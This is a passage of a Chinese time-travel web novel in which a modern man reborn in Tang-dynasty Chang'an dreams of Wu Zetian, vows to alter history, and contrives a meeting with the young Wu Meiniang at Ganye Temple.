一种前所未有的决心,如同破土的幼苗,在他心中疯狂生长。感业寺的钟声,武媚娘那惊鸿一瞥的凄凉身影,共同敲响了他内心深处的某个开关。
他必须做点什么。必须接近她。必须找到一种方式,在那片死寂的绝望中,投入一颗石子,哪怕只能激起一丝微澜。
第09章 夜梦女帝临
自感业寺归来,李瑾便有些神思不属。白日里,他强打精神,或翻阅书卷,或继续他那改进“净琉璃”配比的实验,试图用具体的事务来压制内心翻腾的思绪。但那个在井边汲水的、绝望而麻木的灰色身影,总是不经意间闯入他的脑海,与史书中那个威仪天下、日月当空的女皇形象激烈碰撞,带来一阵阵难以言喻的心悸。
夜幕降临,陋室孤灯。李瑾躺在硬板床上,辗转反侧。白日的刻意压制,在夜深人静时,反而化作更汹涌的暗流,冲击着他的理智。窗外风声呜咽,仿佛夹杂着感业寺那沉郁的钟声,又似有女子低低的啜泣,若有若无,萦绕耳际。
不知过了多久,疲惫终于将他拖入了混乱的梦境。然而,这并非安宁的睡眠,而是一场光怪陆离、时空交错的漩涡。
他仿佛又站在了感业寺那斑驳的灰墙之外,透过那个小小的缺口向内窥视。井台依旧,古树依旧,但院中空无一人,只有惨白的月光洒满地面,一片死寂。他心中焦急,想要看得更清楚,身体却像被钉在原地,动弹不得。
忽然,景象扭曲、变幻。感业寺的院落消失了,取而代之的是一座巍峨辉煌、灯火通明的宫殿。金碧辉煌的柱础,雕龙画凤的屏风,空气中弥漫着浓郁的龙涎香气。他发现自己站在大殿的角落,如同一个透明的幽灵。
大殿之上,丹陛龙椅中,端坐一人。那人头戴帝冕,垂下的旒珠遮住了面容,但一身明黄色的龙袍,绣着日月星辰,散发出无与伦比的威严与压迫感。殿内百官俯首,山呼万岁,声音震耳欲聋。
是武则天!是登基称帝、改唐为周的她!
李瑾心中剧震,想要靠近看清,却见那龙椅上的人缓缓抬起了手,轻轻挥退了百官。顷刻间,大殿内空旷下来,只剩下他们二人……不,是李瑾这个无形的观察者,和那位至高无上的女帝。
女帝缓缓抬起头,旒珠碰撞,发出清脆的声响,露出了真容。正是白日所见的武媚娘那张脸!但此刻,这张脸上再无半分憔悴与麻木,取而代之的是掌控天下的绝对自信、历经风霜的深沉,以及一种近乎冷酷的平静。她的眼神锐利如刀,仿佛能穿透虚空,直射到李瑾的灵魂深处!
她看到了他!尽管他只是一个梦境中的虚影!
“你,来了。”女帝开口,声音不高,却带着金石之音,在大殿中回荡,仿佛直接敲击在李瑾的心神上。
李瑾想要开口,却发不出任何声音。
女帝站起身,一步步从丹陛上走下。龙袍曳地,发出沙沙的声响,每一步都仿佛踏在时空的节点上。她走到李瑾“面前”,虽看不见他,目光却精准地锁定了他所在的位置。
“朕,等了你很久。”她的语气平淡,却蕴含着不容抗拒的力量,“或者说,等一个像你这样的‘变数’,等了很久。”
场景再次变幻。宫殿如潮水般退去,他们又回到了感业寺那口古井旁。只是此时,寺院破败不堪,断壁残垣,如同经历了一场浩劫。武媚娘依旧穿着那身灰色的缁衣,站在井边,但眼神已与白日截然不同,那里面燃烧着不甘的火焰和近乎偏执的求生欲。
“你看这口井,”她指着幽深的井口,声音带着一丝讥诮,“多少红颜枯骨,沉于其中?朕,差一点也成为其中之一。”
井水中,忽然浮现出种种幻影:她初入宫时的明媚娇憨,太宗驾崩时的恐惧无助,被发放感业寺时的绝望悲凉,以及……在无数个孤寂的夜晚,对权力和生存的渴望如何像藤蔓一样疯狂滋长。
“世人皆言朕狠毒,恋栈权位。”她的声音冷冽,“可知这深宫、这尼庵,本就是吃人的地方!不争,便是死路一条!朕只是想活下去,想活得不再任人宰割!”
幻影再变,出现了王皇后、萧淑妃等人得意或怨毒的脸,出现了高宗李治优柔寡断又隐含依赖的神情,出现了朝堂上大臣们或鄙夷或畏惧的目光。一幕幕权力倾轧,一场场生死搏杀,以快得令人窒息的速度在李瑾眼前闪过。这是她走过的路,沾满鲜血,却也步步惊心。
最后,景象定格。是感业寺的禅房,夜深人静,油灯如豆。年轻的武媚娘独自跪在蒲团上,面前不是佛像,而是一面模糊的铜镜。镜中映出的,既是她此刻憔悴的容颜,又隐约重叠着未来那个冠冕堂皇的女帝影像!
两个时空的武媚娘,透过一面虚幻的镜子,目光交汇!
现实的武媚娘对着镜中的未来之影,喃喃自语,又像是在质问李瑾:“这条路,是对是错?这天下,女子为何就不能坐得?若注定要背负千古骂名,为何……不能再早一点?为何要受尽这寺中凄苦?”
镜中的女帝影像,嘴角似乎勾起一抹莫测的笑容,目光穿透铜镜,再次投向梦中的李瑾!
“异数……”镜中的女帝朱唇轻启,与现实中感业寺的武媚娘声音重叠,“你能看到朕的过去,知晓朕的未来……你来自星外,超脱命轨……你,可能改变这注定的煎熬?”
轰!
梦境彻底崩塌!感业寺、宫殿、铜镜全部消失,李瑾感觉自己急速下坠,坠入一片无尽的黑暗。在黑暗中,只有那双眼睛——感业寺井边的绝望之眼,大殿之上的威严之眼,铜镜中洞悉一切的眼睛——交替出现,紧紧盯着他,仿佛在拷问他的灵魂。
“啊!”
李瑾猛地从床上坐起,浑身已被冷汗浸透,心脏狂跳不止,如同要挣脱胸腔。窗外,天色微熹,已是黎明。
他大口喘着气,梦境中的每一个细节都清晰得可怕,尤其是最后那句拷问:“你可能改变这注定的煎熬?”
那不是疑问,更像是一种命运的邀约,或者说,是一道摆在他面前的选择题。
是继续作为一个旁观者,静待历史按照既定轨道发展,等待武媚娘自己熬过感业寺的岁月,然后入宫,开启她的传奇,同时也开启那段充满血腥与争议的历程?
还是……凭借自己这个“星外异数”的身份,凭借超越时代的见识,去介入,去改变?在她最绝望、最无助的时候,递过一根稻草,或许就能彻底改变她未来的心态、手段,甚至……改变整个历史的走向?
风险巨大。干预历史,尤其是干预一位未来帝王的成长轨迹,后果难以预料。可能引来杀身之祸,可能造成更恶劣的结局。袁天罡的批语是提示,也是警告。
但……脑海中再次浮现出井边那个单薄、绝望的灰色身影。与梦中那个执掌天下、却也孤独冰冷的帝王身影重叠。
一种前所未有的冲动,混合着对历史人物的同情、对改变命运的渴望、以及一种“既然来了,岂能白来”的豪赌心理,在他心中汹涌澎湃。
他起身走到窗边,推开窗户,清晨冰冷的空气涌入,让他精神一振。远方的天际,朝霞初染,为长安城镀上了一层金边。
梦已醒,但梦中的冲击和抉择,却无比真实地压在他的心头。
他知道,自己不能再犹豫了。感业寺的钟声,墙内的惊鸿一瞥,昨夜那场交织着过去与未来的大梦,都已将他的命运,与那位困于寺中的未来女帝,紧紧地捆绑在了一起。
逃避与否认,都已毫无意义。
他需要一個计划,一個谨慎而有效的计划,去接近她,去影响她。不是以救世主的姿态,而是……以一种不引人注目的方式,在她那片绝望的心湖中,投下一颗希望的石子。
第一步,该怎么做?李瑾的目光,变得深邃而坚定。
第10章 誓改青史篇
晨光刺破云层,将长安城鳞次栉比的屋顶染上一层金辉。李瑾独立窗前,一夜混乱而沉重的梦境余波未平,心脏仍因那跨越时空的对视而悸动不已。然而,与之前的迷茫、震撼不同,此刻他眼中闪烁的,是一种近乎燃烧的清明。
梦中那双交织着绝望、威严与拷问的眼睛,如同最后的催化剂,将他连日来积累的纷乱思绪——穿越伊始的惶恐、身份低微的窘迫、窥见历史真实的震撼、对武媚娘悲惨处境的同情,以及袁天罡那番玄奥批语带来的宿命感——彻底沉淀、凝聚,最终锻造成了一个不可动摇的决心。
他不再仅仅是一个意外的闯入者,一个冷眼旁观的记录员。从此刻起,他要成为一个参与者,一个……撬动历史杠杆的人。
“改变这注定的煎熬……” 梦中那句拷问,犹在耳畔回响。这不是疑问,是挑战,也是机遇。
风险?当然有,且巨大无比。干预一位未来帝王的命运轨迹,犹如在万丈悬崖走钢丝,稍有差池,便是粉身碎骨。可能引来当权者的猜忌和剿杀,可能因蝴蝶效应引发更不可控的后果,甚至可能……让他这个“星外异数”彻底被历史的洪流吞噬。
但,不干预的后果呢?难道就眼睁睁看着那个在井边汲水的绝望女子,继续在感业寺的泥沼中挣扎,任由仇恨、恐惧和求生的欲望扭曲她的心性,最终一步步踏上那条充满血腥与争议的帝王之路?那条路,她走得艰难,天下亦随之动荡。更重要的是,那真的是她唯一的选择吗?或者说,那真的是最好的选择吗?
李瑾的思绪飞速运转,如同他前世操作的精密仪器。他冷静地分析着利弊,权衡着每一个可能的变量。
利在于:
1. 先知优势: 他熟知历史走向,了解关键人物和事件节点。这是最大的作弊器。
2. 知识降维: 他拥有超越时代千年的知识、见识和思维方式。无论是科技、经济、政治理念,还是对人性、社会的洞察,都远超这个时代的局限。
3. 身份掩护: 破落宗室子的身份,既不会引人过度瞩目,又拥有一层看似无用、关键时刻或许能提供些许便利的保护色。
4. 时机关键: 此刻的武媚娘,正处于人生最低谷,最绝望,也最容易被影响、被塑造的时期。雪中送炭,远胜于锦上添花。
弊在于:
1. 力量悬殊: 他自身毫无根基,手无寸铁,面对的是整个封建皇权和庞大的官僚体系。
2. 认知鸿沟: 他的现代思维与唐代的社会现实存在巨大差异,稍有不慎,可能水土不服,甚至引发排斥反应。
3. 不可预测性: 历史是复杂的混沌系统,任何一个微小的干预,都可能产生连锁反应,导致最终结果偏离预期,甚至走向更坏的局面。
4. 身份暴露: “星外异数”的身份若被彻底看穿,必将被视为妖孽,引来灭顶之灾。
利弊清晰,风险与机遇并存。但有一种力量,超越了这冷冰冰的利弊分析——那是他作为一个拥有独立意志的“人”,面对不公与苦难时,本能生出的不忍与冲动。是看到历史书页上冰冷文字背后活生生的人所承受的痛楚时,所产生的共情。是袁天罡所指出的,他与她命运已然交织的宿命感。
更重要的是,他来到这个时代,难道仅仅是为了苟活一世,重复原主那卑微而默默无闻的命运吗?既然上天(或者说那场意外)给了他重活一次的机会,给了他窥见历史真相的视角,给了他可能改变些什么的能力,他怎能甘心只做一个看客?
“知其不可为而为之,是为勇也。” 儒家的训诫,此刻在他心中有了全新的含义。这不是迂腐,而是认清现实残酷后,依然选择遵循内心道义的抉择。
他深吸一口气,清晨微凉的空气涌入肺腑,带来一种决绝的清醒。目光投向感业寺的方向,仿佛穿透重重坊墙,再次看到了那灰色的身影。
“不仅要救她出感业寺的泥潭,” 李瑾低声自语,声音却异常坚定,“更要扭转她那被苦难逼出的狠厉与猜忌,引导她走向一条……或许同样艰难,但可能更少血腥、更多建设性的道路。”
他要改变的,不仅仅是她个人的命运,更是她未来执掌权柄的方式,是可能波及整个大唐乃至华夏文明走向的历史轨迹!这个目标,狂妄得近乎痴人说梦,但却让他浑身的血液都隐隐沸腾起来。这是前所未有的挑战,也是独一无二的机遇!
“袁天罡说我是‘星外异数’,是变数。好,那我就将这变数,发挥到极致!”
决心既定,策略便需跟上。冲动行事是取死之道,他需要一個周详、谨慎且极具耐心的计划。
第一步,立身。 空有决心毫无用处。他必须尽快获得一定的经济基础和自保能力。改进“净琉璃”工艺,制造出真正透明纯净的玻璃,以此换取第一桶金,并作为后续计划的物质基础,是当前最迫切、最可行的任务。王掌柜这条线,可以利用,但需谨慎控制,不能过早暴露核心。
第二步,近观。 必须再次接近感业寺,更深入地了解寺内情况,特别是武媚娘的日常起居、活动规律,以及寺中的人际关系、戒备程度。上次仓促一瞥,信息远远不够。需要一個合理的、不引人怀疑的理由定期靠近那里。香客?施主?还是……
第三步,建信。 这是最困难也最核心的一步。如何与武媚娘建立联系?如何取得她的信任?直接接触风险太大,必须寻找一个恰当的、自然的契机,或者创造一个不露痕迹的沟通渠道。投石问路?传递信息?需要等待,也需要创造机会。
第四步,潜移。 信任建立后,如何施加影响?不能是生硬的说教,而应是潜移默化的引导。通过讲述“典故”、分析“时局”、分享“见解”,开阔她的视野,安抚她的情绪,在她心中播下不同的种子——关于权力、关于治国、关于人性……或许,还可以暗中提供一些小小的帮助,改善她的处境,让她看到希望。
这是一个漫长的过程,急不得。他必须像一位最顶尖的棋手,布局深远,落子无声。
李瑾回到书案前,铺开一张粗糙的黄麻纸,磨墨润笔。他需要将脑海中的计划纲要记录下来,不断修正完善。同时,他也需要开始为“净琉璃”的下一步试验做准备,精确计算原料配比,设计更合理的加热冷却流程。
阳光透过窗棂,照在他专注的侧脸上。那个一个多月前刚从病榻上苏醒、迷茫无助的灵魂,此刻仿佛脱胎换骨。眼中不再是初来乍到的惶恐,也不是诗词扬名后的虚浮,而是一种找到了方向后的沉静、坚定,以及一种敢于向命运挥剑的锐利。
他知道,从这一刻起,他的人生,乃至这个时代的历史,都将因他这个“星外异数”的誓言,而走向一条充满未知与挑战的全新岔路。
“武媚娘……” 他停下笔,望向窗外广阔的天空,心中默念,“或许我无法给你一个一帆风顺的未来,但我发誓,绝不会让你独自在那座冰冷的寺庙里,被绝望吞噬。你的命运,由我来改写。这大唐的青史,也当有我李瑾,浓墨重彩刻下的一笔!”
誓言,无声,却重如千钧。
第11章 香客入禅院
决心已下,李瑾并未立刻行动。莽撞行事只会招致灭顶之灾。他如同最耐心的猎手,强压下心中的迫切,将全部精力投入到两件事上:一是继续改进“净琉璃”的工艺,积累必要的资本;二是通过李福和王掌柜等人,不动声色地收集关于感业寺更具体的信息——寺内布局、日常作息、主要管事僧尼的脾性,乃至与外界可能的联系渠道。
他知道,第一次正式进入感业寺,必须有一个完美无缺的理由,一个合乎情理的身份,以及一个恰到好处的时机。
机会,在十余日后悄然到来。
这日清晨,李福从市集回来,带回一个消息:三日后是浴佛节,长安城内各大寺院皆会举办法会,感业寺虽不如大慈恩寺等香火鼎盛,但作为皇家寺院,亦会有相应的仪式,并对特定信众开放,允许入寺礼佛祈福。
“浴佛节……”李瑾眼中精光一闪。这无疑是一个绝佳的契机。节日氛围下,寺门开禁,香客往来,人员相对复杂,混入其中不易引人注目。而以礼佛为名,更是天经地义,不会惹人怀疑。
他立刻开始准备。首先,他需要一身像样的行头。破落宗室也是宗室,衣衫过于寒酸,反而惹眼。他让李福将之前杜铭送来的那件半新青色细麻袍仔细浆洗干净,又将自己勉强能见人的另一件旧袍当了,换了些钱,购置了一双干净的布履和一顶普通的黑色幞头。
其次,是香烛供品。他亲自去西市挑选了质量中上、既不显奢靡也不至寒酸的线香、檀香和几样新鲜果品。最后,也是最重要的一步,他需要一個能让他在寺内多停留片刻、甚至能与寺中人有合理接触的“由头”。
“福伯,”李瑾沉吟片刻,对李福吩咐道,“你悄悄去打听一下,感业寺内,可否为亡故亲人供奉一盏长明灯?需要多少香油钱?”
李福虽不解其意,但还是依言去了。傍晚回来禀报,感业寺确有此例,但因是皇家寺院,价格不菲,非寻常百姓所能负担。李瑾听罢,心中有了计较。为“早逝的父母”供奉长明灯,这个理由足够虔诚,也符合他宗室子的身份,更能为他与寺中执事僧尼交谈提供绝佳的借口。
浴佛节当天,天色未明,李瑾便起身沐浴更衣,换上那身浆洗得挺括的青色袍衫,束发戴幞头,整个人显得清瘦却精神奕奕,眉宇间那份超越年龄的沉静,更添几分难以言喻的气度。他仔细检查了准备好的香烛供品,又将一小袋事先称量好的铜钱和一小块碎银(供奉长明灯之用)贴身放好。
“阿郎,一切小心。”李福送至坊门,眼中满是担忧。他总觉得小主人此行目的绝不单纯,那感业寺乃是非之地,他实在放心不下。
“放心,仅是礼佛,片刻即回。”李瑾拍了拍老仆的肩膀,语气平静,随即转身融入了清晨赶往各寺上香的人流中。
越靠近感业寺,人流越发稀疏。与通往大慈恩寺、荐福寺等名刹的摩肩接踵不同,通往感业寺的道路显得冷清许多。毕竟,普通百姓多去香火旺盛的大寺,而达官显贵,除非有特殊缘由,亦少来这安置先帝嫔妃、气氛沉郁的皇家寺院。
依旧是那堵高大斑驳的灰墙,但今日,那扇平日里紧闭的朱漆山门却洞开着。两名穿着灰色僧衣、面色严肃的知客僧站在门旁,另有几名腰间佩刀的皇家侍卫模样的人在一旁巡视,眼神锐利地扫视着零散前来的香客。气氛庄重而肃穆,隐隐透着戒备。
李瑾整了整衣冠,深吸一口气,迈着沉稳的步伐,走向山门。他刻意控制着步伐的节奏和呼吸,让自己看起来像一個心怀虔敬、举止得体的普通年轻士子。
“阿弥陀佛,施主前来礼佛?”一名年长的知客僧合十行礼,声音平淡无波,目光却如探照灯般在李瑾身上扫过,留意着他的衣着、气度以及手中的香烛。
“正是。”李瑾还了一礼,声音清晰而恭谨,“弟子李瑾,闻今日浴佛胜会,特来宝刹进香,祈愿国泰民安,亦为早逝父母祈福。”他报出姓名,但未强调宗室身份,以免节外生枝。
知客僧看了看他手中品质不错的香烛,又见他举止有度,不似奸邪之辈,微微点头:“施主请随我来。寺内清静,请勿喧哗,勿要随意走动。”
“谨遵法师吩咐。”李瑾应道,心中稍定。第一步,顺利踏入山门。
跨过高高的门槛,一股与外界截然不同的气息扑面而来。寺内庭院广阔,古木参天,殿宇巍峨,虽不及大慈恩寺的恢弘,却也自有一股皇家寺院的庄严气派。然而,这股庄严之中,却透着一股深入骨髓的寂寥和冷清。空气中弥漫着浓郁的檀香味,却压不住那股若有若无的、属于太多失意女子聚集而产生的压抑气息。
诵经声从远处的大雄宝殿传来,伴随着清脆的磬响,更显空旷。偶尔有穿着灰色或褐色缁衣的比丘尼低头匆匆走过,脚步轻捷,目不斜视,脸上大多没什么表情,如同一个个灰色的影子。整个寺院,安静得令人心头发紧。
李瑾跟随知客僧,沿着青石板铺就的甬道,向大雄宝殿走去。他目光看似平视前方,专注礼佛,眼角的余光却如最精密的雷达,飞快地扫视着四周的一切。
殿宇的布局、走廊的走向、可能通往内部院落的小门、巡逻侍卫的间隔时间……所有这些信息,都被他贪婪地吸收、记忆。他特别注意那些看似偏僻的角落,比如那日窥见武媚娘的井台方向。
大雄宝殿内,佛像宝相庄严,烛火通明。已有零星星一些香客在跪拜祈福。李瑾按捺住心中的急切,依照礼仪,净手、上香、跪拜,一切做得一丝不苟,如同一個真正虔诚的香客。他在佛前默默祝祷,心思却早已飞到了寺院的深处。
完成大殿的礼仪后,李瑾并未立刻离开。他转向一旁的知客僧,语气诚恳地询问道:“法师,弟子久闻宝刹可为亡亲供奉长明灯,以照亮幽冥之路,不知可否行此方便?”
知客僧看了他一眼,似乎对此并不意外,来此的香客多有此请。“施主有此孝心,自是功德。请随我去见知客师父。”
李瑾心中暗喜,这正是他计划中的一环。他被引到偏殿的一间净室,一位年纪更长、面色更显威严的知客师负责此事。询问了李瑾的姓名籍贯(李瑾含糊以“长安人士”应对)以及欲供奉之人的名讳(他报了原主父母的名字)后,知客师报出了一个数字不小的香油钱数目。
李瑾毫不犹豫地取出那块碎银和部分铜钱,恭敬奉上。这笔开销对他而言不小,但为了达成目的,值得。
办理手续需要时间,填写文书,登记名册。李瑾趁此机会,与那位年长的知客师攀谈起来,语气谦卑,询问些佛法常识、寺内日常,偶尔流露出对在此清修之人的一丝好奇与同情(把握着恰到好处的分寸)。
知客师见其态度恭谨,又舍得香油钱,脸色稍霁,也简单回答了几句,但口风甚紧,关于寺内具体情况,尤其是关于那些特殊身份“修行者”的信息,一概以“佛法庄严,清净之地”轻轻带过。
李瑾并不气馁,他本就不指望能轻易套出关键信息。他的目的,一是延长在寺内停留的时间,二是观察这位知客师的言行态度,三是让“李瑾”这个名字和“供奉长明灯的年轻士子”这个形象,在寺中执事僧尼心中留下一个模糊但正面的印象。
手续办妥,他被引领到一盏新点燃的长明灯前,看着那簇小小的、跳动的火焰,李瑾心中默念:“这盏灯,或许照不亮幽冥,但希望能照亮我脚下的路。”
当他终于从知客师处告辞,准备离开时,他在心中飞快地计算着。此次入寺,虽未见到想见的人,但初步摸清了寺内部分环境,建立了合理的香客身份,并留下了后续接触的伏笔(长明灯需要定期添加香油,亦可借机再来)。
他缓步向山门走去,心情并未放松,反而更加凝重。感业寺内部的戒备和压抑氛围,比他想象的更甚。在这里,想要与武媚娘建立联系,难度极大。
就在他即将走出山门,踏上归途之时,眼角余光似乎瞥见,远处一座僻静殿宇的拐角,一個灰色的身影一闪而逝,身形瘦削,低着头,很快消失在殿后的小径中。
是不是她?李瑾无法确定,心脏却不由自主地加快跳动了几分。
他深吸一口气,压下回头的冲动,面色平静地走出了感业寺的山门。阳光重新洒在身上,却驱不散他心头的沉重。
第一次潜入“虎穴”,虽只是在外围,却已让他深切感受到此行的艰难与危险。然而,这第一步,总算是迈出去了。
接下来,他需要更耐心,更谨慎,等待,或者创造下一个机会。
第12章 经房独对时
自浴佛节初次踏入感业寺,已过半月。李瑾并未急于再次前往。他深知,过频的出现只会惹人生疑。这半月里,他将主要精力放在了两件事上:一是继续改进“净琉璃”的配方和火候控制,经过数十次失败的尝试,他终于烧制出了一小块杂质和气泡明显减少、透明度有所提升的玻璃片,虽然离理想状态还很远,但已是质的飞跃,这让他信心大增;二是通过李福和王掌柜,更细致地了解感业寺的日常运作,特别是关于经书抄录、整理方面的信息。他了解到,感业寺作为皇家寺院,藏经颇丰,但年深日久,部分经卷难免有所损毁或字迹模糊,需要定期派人整理、修补,甚至重新抄录。而这等细致活计,有时会交由寺中识文断字、心性沉稳的比丘尼来完成。
这是一个潜在的突破口。李瑾需要一个更自然、更深入的理由进入寺院内部,而非仅仅停留在大殿。他想到了为父母供奉的长明灯,这给了他一个绝佳的借口——为表诚心,他希望能亲自为父母抄写或供养一部经文,置于佛前,并想向寺中法师请教经义。
时机选择在一個细雨蒙蒙的午后。这样的天气,寺中香客稀少,僧尼也多在各处殿堂或禅房内,不易引人注目。李瑾再次换上那身青衣,带上准备好的上好纸张和一小坛特意调制、带有清雅香气的墨锭作为“供养”,撑着油伞,再次来到了感业寺。
山门依旧,守卫的侍卫和知客僧见他再次前来,且带着文房四宝,脸上虽有讶色,但见他言辞恳切,言明是为供奉长明灯的父母尽孝心、请教经义,又出示了上次供奉的凭证,便也未多加阻拦,只是嘱咐他勿要乱走,由一名年轻的小沙弥引他入内。
细雨中的感业寺,更显幽深寂静。雨丝敲打着殿宇的琉璃瓦和庭中的芭蕉叶,发出淅淅索索的声响,空气中弥漫着潮湿的泥土气息和檀香混合的味道。李瑾的心跳不由自主地加快,他知道,这次必须更谨慎,也更需运气。
他被引至知客僧处,说明来意。听闻他要请教经义、还想为亡亲抄经供养,那位年长的知客师沉吟片刻。感业寺虽非寻常寺院,但有人如此诚心为亡亲做法事,亦是功德,不好断然拒绝。且李瑾态度恭谨,所供墨锭纸张皆非凡品,显是真心。
“施主有此孝心,实属难得。”知客师道,“今日寺内经师正在为众尼讲解《金刚经》,不便打扰。藏经阁倒是可去,但需有人引领。这样吧,你可先去经房稍坐,那里安静,亦可翻阅一些常见的经卷。待经师讲经完毕,老衲再为你引见。”
“多谢法师成全。”李瑾心中暗喜,经房正在寺内相对深入的区域,这正中下怀。
小沙弥引着李瑾,穿过几重殿宇,来到一处相对僻静的院落。院中植有几株古松,雨打松针,更添清幽。正房便是经房,房门虚掩。小沙弥推开门,道:“施主请在此稍候,小僧还需去前殿值守。”说罢,合十一礼,便转身离去了。
李瑾踏入经房。屋内陈设简朴,四壁皆是高大的书架,上面整齐码放着一卷卷经书。空气中弥漫着陈年纸张和墨锭的淡淡香气。临窗设有一张宽大的书案,上面铺着干净的毛毡,摆放着笔砚。此处确实安静,除了雨声,几乎听不到其他声响。
他并未立刻坐下,而是假装浏览书架上的经卷,目光却快速扫视整个房间。这里似乎并非只有他一人。书案一角,放着几卷刚刚整理好、尚未归架的经书,砚台中的墨迹也未全干。显然,在他来之前,有人在此整理经卷。
会是谁?李瑾的心提了起来。他不动声色地走到书案旁,目光落在那几卷整理好的经书上。字迹清秀工整,带着一丝不易察觉的筋骨,绝非普通僧尼所能书写。他拿起最上面一卷,是《维摩诘经》,翻看几页,注释清晰,偶有旁批,见解颇为独到。
就在这时,经房内侧的一扇小门(似是通往储藏室)被轻轻推开。一個穿着灰色缁衣的身影,抱着一摞略显陈旧的经卷,低着头走了出来。
李瑾的呼吸骤然一窒!尽管她低着头,尽管穿着宽大朴素的缁衣,但那個侧影,那日井边惊鸿一瞥的轮廓,他绝不会认错!
是武媚娘!
她显然没料到经房中有人,抬起头,露出略显苍白却依旧难掩清丽的面容。她的眼神原本带着专注和一丝疲惫,在看到李瑾的瞬间,先是一愣,随即迅速被警惕和疏离所取代。她微微蹙眉,目光快速扫过李瑾的衣着和放在书案上的纸张墨锭,似乎是在判断他的身份和来意。
四目相对的一刹那,时间仿佛凝固了。李瑾能清晰地看到她眼底深处那抹无法完全掩饰的惊疑,以及一种长期处于戒备状态下的敏感。她比那日井边看起来更加消瘦,但眉宇间那股隐而不发的韧劲,却更加清晰。
李瑾强压住内心的狂澜,迅速收敛心神,不能让对方看出任何异常。他后退半步,微微躬身,行了一个标准的士子礼,语气平和而带着恰到好处的歉意:“在下李瑾,冒昧打扰师太清修。因欲为亡亲抄经祈福,蒙知客法师允准,在此等候经师,不想师太正在此处整理经卷,是在下唐突了。”
他言辞恳切,态度恭谨,丝毫没有登徒子的轻浮,也没有寻常香客的好奇打量,更像是一个偶遇陌生人的礼貌致意。
武媚娘(此刻或许应称她为明空法师或其他法号)眼中的警惕未消,但见李瑾举止有度,不似奸恶之徒,且能道出知客师,便也微微合十还了一礼,声音清冷,不带丝毫感情:“阿弥陀佛。施主自便便是。” 说完,她便抱着经卷,走向书架,准备将经卷归位,显然不想与李瑾有任何交流,只想尽快做完事离开。
机会稍纵即逝!李瑾大脑飞速运转,他知道,若让她就这样离开,下次再想有如此独处的机会,不知要等到何时!必须说点什么,做点什么,引起她的注意,但不能过于突兀!
他的目光快速扫过手中的《维摩诘经》,落在了那句著名的“心净则佛土净”的旁批上。那旁批字迹与整理经卷的字迹一致,写的是“境由心转,相由心生,然心亦随境迁,何以言净?” 显示出批注者对经文并非盲目信从,而是有自己的思考,甚至带有一丝质疑和困惘。
就在武媚娘将经卷放上书架,转身欲走的瞬间,李瑾忽然开口,声音不高,却清晰地传入她耳中:“师太所批‘心随境迁,何以言净’,实乃至问。在下浅见,维摩居士于染污中示现清净,或正言明,净不在避世,而在转境之力。心若不动,风幡何扰?”
这番话,他引用《维摩诘经》中维摩诘居士于尘世中修行、示现清净的典故,来回应她那句旁批的困惑。核心意思是:心的清净不在于逃避污浊的环境,而在于是否有力量转变环境;如果内心坚定,外界纷扰又如何?
这不是简单的佛理探讨,而是隐隐指向了一种积极入世、改变现状的态度!这绝不是一个普通香客会对一个陌生尼姑说的话!这更像是一种……试探性的共鸣!
武媚娘即将迈出的脚步,猛地顿住了。她倏然转身,一双明眸锐利如剑,紧紧盯住李瑾!那目光中充满了难以置信的震惊、更深的警惕,以及一丝被触及内心最隐秘角落的震动!
他是什么人?一个看似普通的年轻士子,如何能一眼看穿她随手所批注的心境?还给出如此……如此契合她内心深处不甘与挣扎的解读?
雨声敲窗,经房内,一时寂静得只剩两人急促的呼吸声。第一次独处,第一次对话,便在这样一句石破天惊的佛理机锋中,骤然开始。
第13章 一语惊破心中事
经房内,雨声淅沥,空气却仿佛凝固。武媚娘那锐利如鹰隼的目光,死死锁定在李瑾脸上,仿佛要穿透他平静的表象,直刺灵魂深处。震惊、警惕、审视,以及一丝极力压抑却仍泄露出的、被堪破心事的慌乱,在她眼中激烈交织。她握着经卷的手指,因用力而微微泛白。
短暂的死寂之后,她终于开口,声音比刚才更加冰冷,甚至带上了几分不易察觉的杀意:“施主此言何意?贫尼愚钝,只知青灯古佛,扫洒庭院,不敢妄解甚深佛理,更不知何谓‘转境之力’。” 她矢口否认,试图将话题拉回安全的、表面的佛理讨论,并强调自己安于现状的身份,这是一种本能的自我保护。
李瑾心中雪亮,她绝非愚钝,而是敏锐地察觉到了他话语中隐含的、超越佛理的危险指向。她在试探,也在警告。
机会稍纵即逝,不能再绕圈子了!必须再下一剂猛药,让她明白,自己并非无的放矢,而是真正知晓她的处境和内心!
李瑾迎着她审视的目光,非但没有退缩,反而上前半步,压低了声音,确保只有他们两人能听见。他的眼神不再仅仅是恭敬,而是透出一种洞悉一切的平静,以及一种与她平等对话的自信。
“师太过谦了。” 李瑾微微摇头,目光扫过她因常年劳作而略显粗糙的手指,以及那洗得发白、却依旧难掩其独特气度的缁衣,“能于《维摩诘经》上批注出‘心随境迁’之问,可见师太慧根深种,绝非甘于‘只知扫洒’之人。维摩居士示疾毗耶离城,于万丈红尘中显大神通,度化众生,其所行者,正是‘转境’而非‘避世’。”
他顿了顿,语速不急不缓,却字字如锤,敲击着武媚娘的心防:“正如这经房之外,风雨如晦,天地晦暗。有人困坐愁城,怨天尤人,视雨为囚笼;然亦有人,可见雨后新绿,可听檐下清音,甚或……可借这雨势,蓄水为池,以待天晴。”
“境由心转,亦由人行。” 李瑾的目光牢牢锁住武媚娘微微变色的脸,终于图穷匕见,将隐喻推向极致,“心若囿于方寸之地,纵处琼楼玉宇,亦如牢笼;心若存高天厚土之志,纵是… …” 他的目光若有似无地扫过窗外感业寺高耸的院墙,声音压得极低,却清晰无比,“……纵是这青灯古佛之畔,亦可见… …” 他在这里做了一个极短的停顿,然后用一种近乎耳语,却石破天惊的语气,吐出了四个字:
“日月当空。”
轰!
这四个字,如同惊雷,炸响在武媚娘的耳畔!她的脸色“唰”地一下变得惨白,毫无血色!娇躯剧烈一震,手中抱着的经卷差点脱手滑落!她猛地后退一步,背脊撞在冰冷的书架上,发出“咚”的一声闷响。
“你… …你究竟是何人?!” 她的声音带着无法抑制的颤抖,之前的冰冷和镇定荡然无存,取而代之的是极度的惊骇和……一丝恐惧!‘日月当空’!这是何等大逆不道、何等骇人听闻的言辞!这绝非一个普通士子能、敢说出来的话!这分明是……分明是窥破了她内心深处连自己都不敢轻易触碰的、那个最隐秘、最疯狂野望的…… 魔鬼的低语!
他知道了!他一定知道什么!是宫中旧敌派来试探、构陷她的?还是……别的什么?
看着她瞬间失态的反应,李瑾知道自己赌对了!这一剂猛药,终于撕开了她坚固的心理防线!历史的知识,在此刻成为了他最犀利的武器。
